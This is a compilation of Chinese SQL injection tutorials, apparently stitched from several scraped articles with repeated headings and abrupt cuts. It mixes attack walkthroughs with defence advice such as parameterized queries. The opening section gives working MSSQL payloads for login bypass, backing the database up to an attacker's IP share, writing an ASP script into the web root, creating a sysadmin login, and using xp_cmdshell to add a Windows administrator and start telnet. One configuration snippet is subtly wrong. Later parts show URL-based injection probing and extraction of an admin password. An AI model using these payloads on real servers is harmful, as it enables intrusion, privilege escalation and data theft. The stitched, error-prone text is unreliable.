SQL注入攻防入门详解

SQL注入攻防入门详解
SQL注入攻防入门详解

合并的SQL为:

SELECT COUNT(*)FROM Login WHERE UserName='admin'AND Password='123456'

2)输入注入数据:

如图,即用户名为:用户名:admin’—,密码可随便输入

合并的SQL为:

SELECT COUNT(*)FROM Login WHERE UserName='admin'--Password='123'

因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上';'(分号,用于结束前一条语句),后边加上'--'(用于注释后边的语句))

2.上面是最简单的一种SQL注入,常见的注入语句还有:

1)猜测数据库名,备份数据库

a)猜测数据库名:and db_name()>0或系统表master.dbo.sysdatabases

b)备份数据库:;backup database数据库名to disk=‘c:\*.db’;--

或:declare@a sysname;set@a=db_name();backup database@a to disk='

你的IP你的共享目录bak.dat',name='test';--

2)猜解字段名称

a)猜解法:and(select count(字段名)from表名)>0若“字段名”存在,

则返回正常

b)读取法:and(select top1col_name(object_id('表名'),1)from

sysobjects)>0把col_name(object_id('表名'),1)中的1依次换成

2,3,4,5,6…就可得到所有的字段名称。

3)遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)

先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2nvarchar(255),num3nvarchar(255));--

a)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中

;insert temp exec master.dbo.xp_availablemedia;--

b)利用xp_subdirs获得子目录列表,并存入temp表中

;insert into temp(id)exec master.dbo.xp_subdirs'c:\';--

c)利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中

;insert into temp(id,num1)exec master.dbo.xp_dirtree'c:\';--(实

验成功)

d)利用bcp命令将表内容导成文件

即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器

访问该文件并执行恶意脚本。(使用该命令必须启动’xp_cmdshell’)

Exec master..xp_cmdshell N'BCP"select*from

SchoolMarket.dbo.GoodsStoreData;"queryout

c:/inetpub/wwwroot/runcommand.asp-w-S"localhost"-U"sa"-P"123"'

(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)

在sql查询器中通过语句:Exec master..xp_cmdshell N'BCP’即可查看BCP

相关参数,如图:

4)查询当前用户的数据库权限

MSSQL中一共存在8种权限:sysadmin,dbcreator,diskadmin,processadmin, serveradmin,setupadmin,securityadmin,bulkadmin。

可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。

5)设置新的数据库帐户(得到MSSQL管理员账户)

d)在数据库内添加一个hax用户,默认密码是空

;exec sp_addlogin'hax';--

e)给hax设置密码(null是旧密码,password是新密码,user是用户名)

;exec master.dbo.sp_password null,password,username;--

f)将hax添加到sysadmin组

;exec master.dbo.sp_addsrvrolemember'hax','sysadmin';--

6)xp_cmdshell MSSQL存储过程(得到WINDOWS管理员账户)

通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用cmd.exe工具,可以做什么自己多了解下。

下面我们使用xp_cmdshell来创建一个Windows用户,并开启远程登录服务:

a)判断xp_cmdshell扩展存储过程是否存在

SELECT count(*)FROM master.dbo.sysobjects WHERE xtype='X'AND name

='xp_cmdshell'

b)恢复xp_cmdshell扩展存储过程

Exec master.dbo.sp_addextendedproc

'xp_cmdshell','e:\inetput\web\xplog70.dll';

开启后使用xp_cmdshell还会报下面错误:

SQL Server阻止了对组件'xp_cmdshell'的过

程'sys.xp_cmdshell'的访问,因为此组件已作为此服务器安全配置的一

部分而被关闭。系统管理员可以通过使用sp_configure启用'xp_cmdshell'。

有关启用'xp_cmdshell'的详细信息,请参阅SQL Server联机丛书中

的"外围应用配置器"。

通过执行下面语句进行设置:

--允许配置高级选项

EXEC sp_configure'show advanced options',1

GO

--重新配置

RECONFIGURE

GO

--启用xp_cmdshell

EXEC sp_configure'xp_cmdshell',0

GO

--重新配置

RECONFIGURE

GO

c)禁用xp_cmdshell扩展存储过程

Exec master.dbo.sp_dropextendedproc'xp_cmdshell';

d)添加windows用户:

Exec xp_cmdshell'net user awen/add';

e)设置好密码:

Exec xp_cmdshell'net user awen password';

f)提升到管理员:

Exec xp_cmdshell'net localgroup administrators awen/add';

g)开启telnet服务:

Exec xp_cmdshell'net start tlntsvr'

7)没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.

(本人windows7系统,测试下面SQL语句木有效果)

declare@shell int;

execsp_OAcreate'w script.shell',@shell output;

execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe/c

net user awen/add';

execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe/c

net user awen123';

execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe/c

net localgroup administrators awen/add';

在使用的时候会报如下错:

SQL Server阻止了对组件'Ole Automation Procedures'的过程'sys.sp_OACreate'、'sys.sp_OAMethod'的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启

用'Ole Automation Procedures'。有关启用'Ole Automation Procedures'的详细信息,请参阅SQL Server联机丛书中的"外围应用配置器"。

解决办法:

sp_configure'show advanced options',1;

GO

RECONFIGURE;

GO

设置为

3.把危险的和不必要的存储过程删除

SQL注入攻击的种类和防范手段--IT专家网

观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的。虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施。 SQL注入攻击的种类 知彼知己,方可取胜。首先要清楚SQL注入攻击有哪些种类。 1.没有正确过滤转义字符 在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传递给一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句实施操纵。比方说,下面的这行代码就会演示这种漏洞: statement := "SELECT * FROM users WHERE name = '" + userName + "';" 这种代码的设计目的是将一个特定的用户从其用户表中取出,但是,如果用户名被一个恶意的用户用一种特定的方式伪造,这个语句所执行的操作可能就不仅仅是代码的作者所期望的那样了。例如,将用户名变量(即username)设置为:a' or 't'='t,此时原始语句发生了变化:SELECT * FROM users WHERE name = 'a' OR 't'='t'; 如果这种代码被用于一个认证过程,那么这个例子就能够强迫选择一个合法的用户名,因为赋值't'='t永远是正确的。 在一些SQL服务器上,如在SQL Server中,任何一个SQL命令都可以通过这种方法被注入,包括执行多个语句。下面语句中的username的值将会导致删除“users”表,又可以从“data”表中选择所有的数据(实际上就是透露了每一个用户的信息)。 a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '% 这就将最终的SQL语句变成下面这个样子: SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%'; 其它的SQL执行不会将执行同样查询中的多个命令作为一项安全措施。这会防止攻击者注入完全独立的查询,不过却不会阻止攻击者修改查询。 2.Incorrect type handling 如果一个用户提供的字段并非一个强类型,或者没有实施类型强制,就会发生这种形式的攻击。当在一个SQL语句中使用一个数字字段时,如果程序员没有检查用户输入的合法性(是否为数字型)就会发生这种攻击。例如: statement := "SELECT * FROM data WHERE id = " + a_variable + ";" 从这个语句可以看出,作者希望a_variable是一个与“id”字段有关的数字。不过,如果终端用户选择一个字符串,就绕过了对转义字符的需要。例如,将a_variable设置为:1;DROP TABLE users,它会将“users”表从数据库中删除,SQL语句变成: SELECT * FROM DAT A WHERE id = 1;DROP TABLE users;

SQL注入经典教程(珍藏版)

听说很多人想学SQL手工注入,但网上的资料都很不全,我在家没事就帮大家找了一些关于SQL手工注入经典的教程,希望能给大家带来帮助...... SQL 注入天书 - ASP 注入漏洞全接触收藏 引言 随着 B/S 模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的 SQL Injection,即SQL注入。 SQL注入是从正常的 WWW 端口访问,而且表面看起来跟一般的 Web 页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看 IIS 日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 根据国情,国内的网站用 ASP+Access 或 SQLServer 的占 70% 以上, PHP+MySQ 占 20%,其他的不足 10%。在本文,我们从分入门、进阶至高级讲解一下 ASP 注入的方法及技巧,PHP 注入的文章由 NB 联盟的另一位朋友zwell 撰写,希望对安全工作者和程序员都有用处。了解 ASP 注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗? Lets Go... 入门篇 如果你以前没试过SQL注入的话,那么第一步先把 IE 菜单 =>工具 => Internet 选项 => 高级 => 显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为 HTTP 500 服务器错误,不能获得更多的提示信息。 第一节、SQL注入原理 以下我们从一个网站https://www.360docs.net/doc/b13746615.html,开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。 在网站首页上,有名为“ IE 不能打开新窗口的多种解决方法”的链接,地址为:https://www.360docs.net/doc/b13746615.html,/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示: Microsoft JET Database Engine 错误 80040e14 字符串的语法错误在查询表达式 ID=49 中。 /showdetail.asp,行8

SQL注入原理及解决办法

SQL注入原理及解决办法 SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。对于很多网站都有用户提交表单的端口,提交的数据插入MySQL数据库中,就有可能发生SQL注入安全问题,那么,如何防止SQL注入呢? 针对SQL注入安全问题的预防,需时刻认定用户输入的数据是不安全的,并对用户输入的数据进行过滤处理,对不同的字段进行条件限制,符合条件的可以写入数据库,不符合条件的进行数据过滤处理! 防止SQL注入,需要注意以下几点: 1. 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。 2. 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。 3. 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。 4. 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。 5. 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装 6. sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。

防止SQL注入之转义特殊输入字符 在脚本语言中,提供了可以对用户输入的数据进行转义的函数,如PHP的MySQL扩展提供了mysqli_real_escape_string()函数来转义特殊的输入字符,从而来防止SQL注入。 if (get_magic_quotes_gpc()) { $name = stripslashes($name); } $name = mysqli_real_escape_string($conn, $name); mysqli_query($conn, "SELECT * FROM users WHERE name='{$name}'"); 以上是防止SQL注入的常用思路和方法,具体的做法还需要根据实际问题进行设定,感兴趣的可以深入学习!

数据库SQL注入分类及防护思路数据库SQL注入分类及防护思路

数据库SQL注入分类及防护思路 作者:安华金和思成 一. 背景 数据库凭借其强大的数据存储能力和卓越的数据处理性能,在各行各业的信息化建设中发挥着关键的作用。随着数据库在各行业的大规模应用,数据泄露事件也频繁发生,这就使数据库安全问题也日益凸显,逐渐变成用户越来越担心的问题。虽然数据库厂商已经做了许多有效的措施来尽量解决数据库存在的安全问题,但至今为止数据库的安全漏洞仍然不断增加。下图为近5年数据库漏洞数量图。 在数据库漏洞中最为常见的漏洞类型是SQL注入漏洞。安华金和数据库攻防实验室结合多年的实践结果总结出了数据库注入的分类分享给大家,以便大家对SQL注入型漏洞有一个更加全面的了解。 SQL注入漏洞不仅出现在WEB端,也出现在数据库的自定义或标准库的存储过程、函数、触发器中。数据库自身的SQL注入漏洞比WEB端的注入漏洞对数据库的威胁性更大。本文对SQL注入的分类是从数据库的角度来划分,不考虑WEB端的角度,这两者在分类上有着不同的角度。 首先在解释不同的数据库SQL注入漏洞之前先简要说明一下数据库攻击者能够进行SQL 注入的主要原理:SQL注入漏洞是用户在输入中混入了程序命令。最直接的例子就是攻击者

在正常的Web 页面中把自己的SQL 代码通过用户输入传输到相应的应用程序中,从而执行 一些非授权的SQL 代码,以达到修改、窃取或者破坏数据库信息的目的。SQL 注入攻击甚至可以帮组攻击者绕过用户认证机制,使其可以完全的操控远程服务器上的数据库。如果应用 程序使用一些用户输入的数据来构造动态的SQL语句去访问数据库,将可能遭受到SQL 注入攻击。同样的如果在代码中使用了存储过程,并且这些存储过程缺乏对用户输入的合理限 制也很容易发生SQL 注入。 二. SQL注入分类 2.1 注入途径分类 SQL注入漏洞按照注入的物理途径可以分成两大类:通过WEB端对数据库进行注入攻 击和直接访问数据库进行注入攻击。 直接访问数据库进行注入攻击是以数据库用户的身份直接连接数据库进行SQL注入攻击。在这种攻击方式中,攻击者可以通过SQL注入来执行SQL语句从而提高用户权限或者越权 执行。而那些在PL/SQL程序中在给用户授权的时候没有使用authid current_user进行定义 的存储过程、函数、触发器、程序块将更容易受到SQL注入攻击。 通过WEB应用程序的用户对数据库进行连接并进行SQL注入攻击。在这种类型的SQL 注入攻击中,攻击者多采用拼接语句的方法来改变查询的内容。获取该账号权限下的全部信息。

sql注入攻击详解 sql注入解决办法

前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误。其实sql注入漏洞就是一个。作为一个菜鸟小程序员,我对sql注入的东西了解的也不深入,所以抽出时间专门学习了一下。现在把学习成果分享给大家,希望可以帮助大家学习。下面我们就来看一下。 一、什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL 命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB 表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql 注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库 二、sql注入产生原因

sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql 语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。对于java数据库连接JDBC而言,SQL注入攻击只对Statement有效,对PreparedStatement 是无效的,这是因为PreparedStatement不允许在不同的插入时间改变查询的逻辑结构。 如验证用户是否存在的SQL语句为: 用户名'and pswd='密码 如果在用户名字段中输入: 'or 1=1或是在密码字段中输入:'or 1=1 将绕过验证,但这种手段只对只对Statement有效,对PreparedStatement 无效。相对Statement有以下优点: 1.防注入攻击 2.多次运行速度快 3.防止数据库缓冲区溢出 4.代码的可读性可维护性好 这四点使得PreparedStatement成为访问数据库的语句对象的首选,缺点是灵活性不够好,有些场合还是必须使用Statement。 三、sql注入原理 下面我们来说一下sql注入原理,以使读者对sql注入攻击有一个感性的认识,至于其他攻击,原理是一致的。

sql注入方法

一、SQL注入简介 对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库。 二、SQL注入攻击的总体思路 1.寻找到SQL注入的位置 2.判断服务器类型和后台数据库类型 3.针对不通的服务器和数据库特点进行SQL注入攻击 =========================================== 三、SQL注入攻击实例 比如在一个登录界面,要求输入用户名和密码: 可以这样输入实现免帐号登录: 用户名:‘or 1 = 1 – 密码: 点登陆,如若没有做特殊处理,那么这个非法用户就很得意的登陆进去了.(当然现在的有些语言的数据库API已经处理了这些问题) 这是为什么呢? 下面我们分析一下: 从理论上说,后台认证程序中会有如下的SQL语句: String sql = "select * from user_table where username= ' "+userName+" ' and password=' "+password+" '";当输入了上面的用户名和密码,上面的SQL 语句变成: SELECT * FROM user_table WHERE username= '’or 1 = 1 -- and password='’分析SQL语句: 条件后面username=”or 1=1 用户名等于”或1=1 那么这个条件一定会成功; 然后后面加两个-,这意味着注释,它将后面的语句注释,让他们不起作用,这样语句永远都能正确执行,用户轻易骗过系统,获取合法身份。 这还是比较温柔的,如果是执行 SELECT * FROM user_table WHERE username='' ;DROP DA TABASE (DB Name) --' and password=''….其后果可想而知… ============================================

PHP防范SQL注入的基本方法

PHP防范SQL注入的基本方法 一个优秀的PHP程序员除了要能顺利的编写代码,还需要具备使程序处于安全环境下的能力。今天我们要向大家讲解的是有关PHP防范SQL注入的相关方法。 说到网站安全就不得不提到SQL注入(SQL Injection),如果你用过ASP,对SQL注入一定有比较深的理解,PHP的安全性相对较高,这是因为MYSQL4以下的版本不支持子语句,而且当php.ini里的magic_quotes_gpc 为On 时。 提交的变量中所有的' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符,给SQL注入带来不少的麻烦。 请看清楚:“麻烦”而已~这并不意味着PHP防范SQL注入,书中就讲到了利用改变注入语句的编码来绕过转义的方法,比如将SQL语句转成ASCII编码(类似:char(100,58,92,108,111,99,97,108,104,111,115,116…)这样的格式),或者转成16进制编码,甚至还有其他形式的编码,这样以来,转义过滤便被绕过去了,那么怎样防范呢: 1、打开magic_quotes_gpc或使用addslashes()函数 在新版本的PHP中,就算magic_quotes_gpc打开了,再使用addslashes()函数,也不会有冲突,但是为了更好的实现版本兼容,建议在使用转移函数前先检测magic_quotes_gpc状态,或者直接关掉,代码如下: PHP防范SQL注入的代码 // 去除转义字符 function stripslashes_array($array) { if (is_array($array)) { foreach ($array as $k => $v) { $array[$k] = stripslashes_array($v);

明小子的用法及SQL注入提权

明小子的用法及SQL注入提权 注意:学习的目的是为了防护,任何实施入侵电脑的行为都是犯罪!!! 一、什么是SQL注入 asp编程门槛很低,新手很容易上路。在一段不长的时间里,新手往往就已经能够编出看来比较完美的动态网站,在功能上,老手能做到的,新手也能够做到。那么新手与老手就没区别了吗?这里面区别可就大了,只不过外行人很难一眼就看出来罢了。在界面的友好性、运行性能以及网站的安全性方面是新手与老手之间区别的三个集中点。 而在安全性方面,新手最容易忽略的问题就是SQL注入漏洞的问题。用NBSI 2.0对网上的一些ASP网站稍加扫描,就能发现许多ASP网站存在SQL注入漏洞,教育网里高校内部机构的一些网站这种漏洞就更普遍了,可能这是因为这些网站大都是一些学生做的缘故吧,虽然个个都很聪明,可是毕竟没有经验,而且处于学习中,难免漏洞多多了。 相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。如这是一个正常的网址http://localhost/lawjia/show.asp?ID=444,将这个网址提交到服务器后,服务器将进行类似Select * from 表名where 字段="&ID的查询(ID 即客户端提交的参数,本例是即444),再将查询结果返回给客户端,如果这里客户端故意提交这么一个网址: http://localhost/lawjia/show.asp?ID=444 and user>0,这时,服务器运行Select * from 表名where 字段=444 and user>0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下: ·错误类型: Microsoft OLE DB PRovider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]将nvarchar 值'sonybb' 转换为数据类型为int 的列时发生语法错误。 但是别有用心的人从这个出错信息中,可以获得以下信息:该站使用MS_SQL数据库,用ODBC连接,连接帐号名为:sonybb。 所谓SQL注入(SQL Injection),就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。 通常别有用心者的目标是获取网站管理员的帐号和密码。比如当某个人知道网站管理员帐号存在表login中,管理员帐号名为admin,他想知道管理员密码,这里他从客户端接着提交这样一个网址: http://localhost/lawjia/show.asp?ID=444 and (Select passWord from login where user_name='admin')>0,返回的出错信息如下: ·错误类型: Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]将varchar 值'!@#*&admin' 转换为数据类型为int 的列时发生语法错误。

sql注入从入门到精通

SQL注入漏洞全接触一 --转载 应用程序, 安全隐患, 防火墙, 管理员, 数据库SQL, 漏洞 一入门 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP 注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go... 入门篇 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。 第一节、SQL注入原理 以下我们从一个网站https://www.360docs.net/doc/b13746615.html,开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。 在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为: https://www.360docs.net/doc/b13746615.html,/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示: Microsoft JET Database Engine 错误 '80040e14' 字符串的语法错误在查询表达式 'ID=49'' 中。 /showdetail.asp,行8 从这个错误提示我们能看出下面几点:

避免SQL注入三种主要方法

避免SQL注入三大方法 要说SQL注入还要从看.NET视频开始说起,听说在程序开发过程中,我们经常会遇到SQL 注入问题,也就是指令隐码攻击。具体的原理到底是怎么回事儿,查了些资料好像涉及到了编译原理,也没能够看明白,只是视频中讲到了这三种方法是经常用来避免SQL注入最常用的方法,于是查些资料希望能对现学的知识有一定的了解。下面是对这三种方法具体如何使用的一个简单的介绍。 一、存储程序 在学习数据库视频的时候接触过,它是存储在数据库中的一些事先编译好的指令。在用的时候不用重新编写,直接调用就好了。所以,使用它可以大大提高程序的执行效率。 那么,如何创建一个存储程序并使用它呢?这是我们今天要解决的问题。 1.创建过程 可编程性——下拉菜单——存储过程——右键——查询菜单———指定模板参数的值——新建查询——输入语句——查询菜单中的分析检查语法是否正确——执行 2.具体创建语法 在创建存储程序时,为了应对各种变换的数据,通常会涉及到带参数的存储程序,其中参数用@来表示。 Create Procedure procedurename[:number] --[:number]表示一组存储程序中的第几个,如果只有一个,此参数可忽略 [@parameter data_type] [default] [OUTPUT] --@parameter表示存储过程中的参数,default 表示默认值,OUTPUT表示输出值即输出值as SqlStatement --[]代表可选参数 3.具体执行过程 exec[ute] procedurename [参数] 举例: --创建 CreateProcedure scores @score1smallint,@score2smallint,@score3smallint,@score4smallint,@score5smallint,@myAvgsmallint Output --Output可用return来代替As select @myAvg=(@score1+@score2+@score3+@score4+@score5)/5 --调用过程 Declare@avgscore smallint --将输出结果放在avgscore中 Execavgscore Output 5,6,7,8,9, --带有参数的存储过程调用时,必须加上Output关键字,否则SQL会当做参数来对待 小结:存储程序的创建可分为带参数和不带参数,以及含有默认值和输出值得存储程序,但是它们的使用原理是一样的。只是带输出值得存储程序在调用过程中要使用关键字Output 来对要输出的变量进行声明,否则SQL会将它当做参数来处理。 注意:创建存储程序后,我们可以在编写程序时,直接调用存储程序的名称来代替复杂的查询语句: strSQL="select ............;" strSQL="Execute procedureName;" 二、参数化SQL 是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数(Parameter) 来给值,用@或?来表示参数。 在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成SQL 指令的编译后,才套用参数运行,因此就算参数中含有恶意的指令,

经典sql注入教程

经典sql注入教程 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防 火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析, 构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 根据国情,国内的网站用ASP+Access或SQLServ er的占70%以上,PHP+M y SQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell 撰写,希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入 的基本判断方法还存在误区。大家准备好了吗?Let's Go... 入门篇 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Intern et选项=>高级=>显示友好HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更 多的提示信息。 第一节、SQL注入原理 以下我们从一个网站https://www.360docs.net/doc/b13746615.html,开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。 在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为: https://www.360docs.net/doc/b13746615.html,/showd etail.asp?id=49,我们在这个地址后面加上单引号?,服务器会返回下面的错 误提示: Microsoft JET Datab ase Engin e 错误'80040e14' 字符串的语法错误在查询表达式'ID=49'' 中。 /showdetail.asp,行8 从这个错误提示我们能看出下面几点: 1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。 2. 程序没有判断客户端提交的数据是否符合程序要求。 3. 该SQL语句所查询的表中有一名为ID的字段。 从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的 信息,从而获取你想到得到的资料。 第二节、判断能否进行SQL注入 看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗? 其实,这并不是最好的方法,为什么呢? 首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话, SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理URL 时服务器上出错。请和系统管 理员联络。 其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如 果你用单引号测试,是测不到注入点的 那么,什么样的测试方法才是比较准确呢?答案如下: ①https://www.360docs.net/doc/b13746615.html,/showd etail.asp?id=49 ②https://www.360docs.net/doc/b13746615.html,/showd etail.asp?id=49 ;and 1=1 ③https://www.360docs.net/doc/b13746615.html,/showd etail.asp?id=49 ;and 1=2 这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了: 可以注入的表现: ①正常显示(这是必然的,不然就是程序有错误了) ②正常显示,内容基本与①相同

sql注入过程详解

sql注入过程详解 SQL注入攻击的总体思路是: 1.发现SQL注入位置; 2.判断后台数据库类型; 3.确定XP_CMDSHELL可执行情况 4.发现WEB虚拟目录 5. 上传JSP木马; 6.得到管理员权限; 一、SQL注入漏洞的判断 一般来说,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.jsp?id=XX等带有参数的jsp或者动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。 为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。 为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.jsp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。 1、整型参数的判断 当输入的参数YY为整型时,通常abc.jsp中SQL语句原貌大致如下: select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。 ①HTTP://xxx.xxx.xxx/abc.jsp?p=YY’(附加一个单引号),此时abc.JSP中的SQL语句变成了 select * from 表名 where 字段=YY’,abc.jsp运行异常; ②HTTP://xxx.xxx.xxx/abc.jsp?p=YY and 1=1, abc.jsp运行正常,而且与HTTP://xxx.xxx.xxx/abc.jsp?p=YY运行结果相同; ③HTTP://xxx.xxx.xxx/abc.jsp?p=YY and 1=2, abc.jsp运行异常; 如果以上三步全面满足,abc.jsp中一定存在SQL注入漏洞。 2、特殊情况的处理 有时JSP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。 ①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等; ②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一; ③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附二;二、区分数据库服务器类型

防止sql注入

